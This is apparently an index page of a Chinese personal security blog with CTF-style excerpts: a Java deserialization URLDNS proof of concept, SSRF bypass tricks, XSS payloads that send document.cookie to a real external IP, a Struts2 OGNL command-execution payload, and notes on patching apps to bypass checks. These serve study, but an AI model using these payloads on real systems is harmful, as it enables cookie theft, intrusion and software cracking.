在文章中嵌入视频和代码
这篇文章介绍了如何在文章中嵌入视频和代码。
这篇文章介绍了如何在文章中嵌入视频和代码。
欢迎使用 Gyoza,Gyoza 是一款 Astro 博客主题,它保持简洁和可爱的风格。本篇文章将会介绍如何使用并部署 Gyoza。
这是一篇 Markdown 文章的示例。展示了 Markdown 的语法和渲染效果。
某定位软件实例 最近读了吾爱论坛上某篇文章,学到了一个新方法,实操做了一下,记录一下过程 页面如下图 这里简单贴一下重点破解的地方 重点:删除 这里我们直接删除所有的代码段,所以删除完成的代码段应该是这样的 破解完成示意图
JAVA反序列化 序列化调用的函数 序列化:java.io.ObjectOutputStream 类中的 writeObject() 实现 Serializable 和 Externalizable 接口的类才能被序列化 反序列化调用的函数 反序列化:java.io.ObjectInputStream 类中的 readObject() 在 Java中,重写的方法会优先执行。如果重写了readObject(),并且函数中某个参数的输入可控,那么攻击者就可以输入任意命令(代码)。在反序列化过程中调用readObject()方法时,就会执行恶意命令,造成攻击 课程 java反序列化1 java反序列化2 例题 URLDNS链 URLDNS链不能执行命令,通常作为验证是否存在反序列化漏洞的一种方式。 脚本 ysoserial.jar 用法 java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]' URLDNS例题 来自ctfshow846 ctfshow会对你post提交的ctfshow参数进行base64解码 然后进行反序列化 构造出对当前题目地址的dns查询即可获得flag 参考POV package Serialize; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutput; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.Base64; import java.util.HashMap; public class URLDNS { public static void serialize(Object obj) throws IOException{ ByteArrayOutputStream data =new ByteArrayOutputStream(); ObjectOutput oos =new ObjectOutputStream(data); oos.writeObject(obj); oos.flush(); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); }; public static void main(String[] args) throws Exception{ URL url=new URL("http://c1161cd4-e370-4b4a-a6b0-2107fcb148ef.challenge.ctf.show"); /* public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; } 初始化时hashcode=-1,h.put时调用了url的hashcode,hashcode不等于-1,需要通过反射修改hashcode */ Class<?> c=url.getClass(); Field hashcode=c.getDeclaredField("hashCode"); hashcode.setAccessible(true); //修改成员变量 hashcode.set(url,1); HashMap<URL,Integer> h = new HashMap<URL,Integer>(); h.put(url,1); hashcode.set(url,-1); serialize(h); //URL //HashMap } } 调用hashmap最后调用的是url的hashcode方法,在最后调用getaddress ...
一.寻找突破口 先进入游戏看一下。首先应该判断这个游戏有没有联网验证。 <img src="https://54huarui.github.io/blogs/paoku/tt.png" width="880" height="480"> 断网后直接出现断网提示,我们接下来应该先从这里入手 二.关闭断网验证 使用mt管理器打开应用看看,应用没有加密 在字符常量池中搜索断网提示,发现这段可疑代码 这里可以看到一个在断网提示的跳转 if-nez p1,cond_6,想要跳过断网提示可以我们直接改成 if-nez p1,cond_6 ...
SSRF SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。 PHP 在PHP中的curl(),file_get_contents(),fsockopen()等函数是几个主要产生ssrf漏洞的函数 curl() 形如: curl(url) file_get_contents() 形如: file_get_contents($_POST[‘url’]); 绕过 各种进制的内网地址 #默认 http://127.0.0.1 #16进制 http://0x7F000001 #10进制 ((127*256+0)*256+0)*256+1//计算过程 http://2130706433 #8进制 http://0177.0000.0000.0001 302跳转绕过 http://spoofed.burpcollaborator.net/flag.php 短绕过 linux中 0 指向本机地址 payload: url=http://0/flag.php 重定向(如果代码只能读取远程url,可以用这个方法) url=http://106.53.207.220/SSRFDNS.php URL构成绕过 在 URL 构成中,username 是指用于身份验证的用户名。例如,在 HTTP Basic 认证中,可以使用类似以下的 URL 来进行身份验证: http://user:password@example.com/ 可以用来让url忽略一些重要部分比如url=http://ctf.:passwd@127.0.0.1/flag.php#show等效于127.0.0.1/flag.php
XSS远程执行漏洞 常用js语句 document.cookie 用于js获取当前网页的cookie值 window.location.href 用于获取当前页面地址链接 window.location.href='www.baidu.com' 用于相当于跳转地址 常用playload: <script>window.location.href='http://[ip]/xss.php?cookie='+document.cookie</script> 我直接买了一个服务器并且开放了读写权限可以拿来实验XSS 相关的ip和playload <script>window.location.href='http://106.53.207.220/xss.php?cookie='+document.cookie</script> 回显请看 http://106.53.207.220/cookie.txt 绕过 过滤script标签 <body onload="document.location.href='http://106.53.207.220/xss.php?xss='+document.cookie"></body> 过滤空格(使用tab、/**/来绕过) <body/**/onload="document.location.href='http://106.53.207.220/xss.php?xss='+document.cookie"></body> 其他可行的playload <body/**/onload="document.location.href='http://106.53.207.220/x.php?x='+document.cookie"></body> <body/onload="window.open('http://106.53.207.220/x.php?x='+document.cookie)"></body>
JAVA漏洞 Struts2漏洞脚本 Struts2Scan 例子:使用S2-009漏洞获取shell -u url -n 漏洞名称 -e 命令行 python3 Struts2Scan.py -u http://b03293c4-fdd9-4c93-8861-d521da0383bf.challenge.ctf.show/S2-009/showcase.action -n S2-008 -e S2-001 playload : %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} 原理: 这是一段针对 Struts2 框架的远程代码执行(RCE)攻击代码。该攻击利用了 Struts2 过滤器没有正确处理 OGNL 表达式中 #{} 情况的漏洞,导致攻击者可以在 HTTP 请求中注入任意代码,从而执行任意命令。 具体来说,这段代码会创建一个新的进程,并执行 “env” 命令,将结果输出到 InputStream 中。然后通过 BufferedReader 和 char 数组等方式读取 InputStream 中的内容,并将结果输出到 HttpServletResponse 中,最终返回给攻击者。 ...
友情链接 Chifan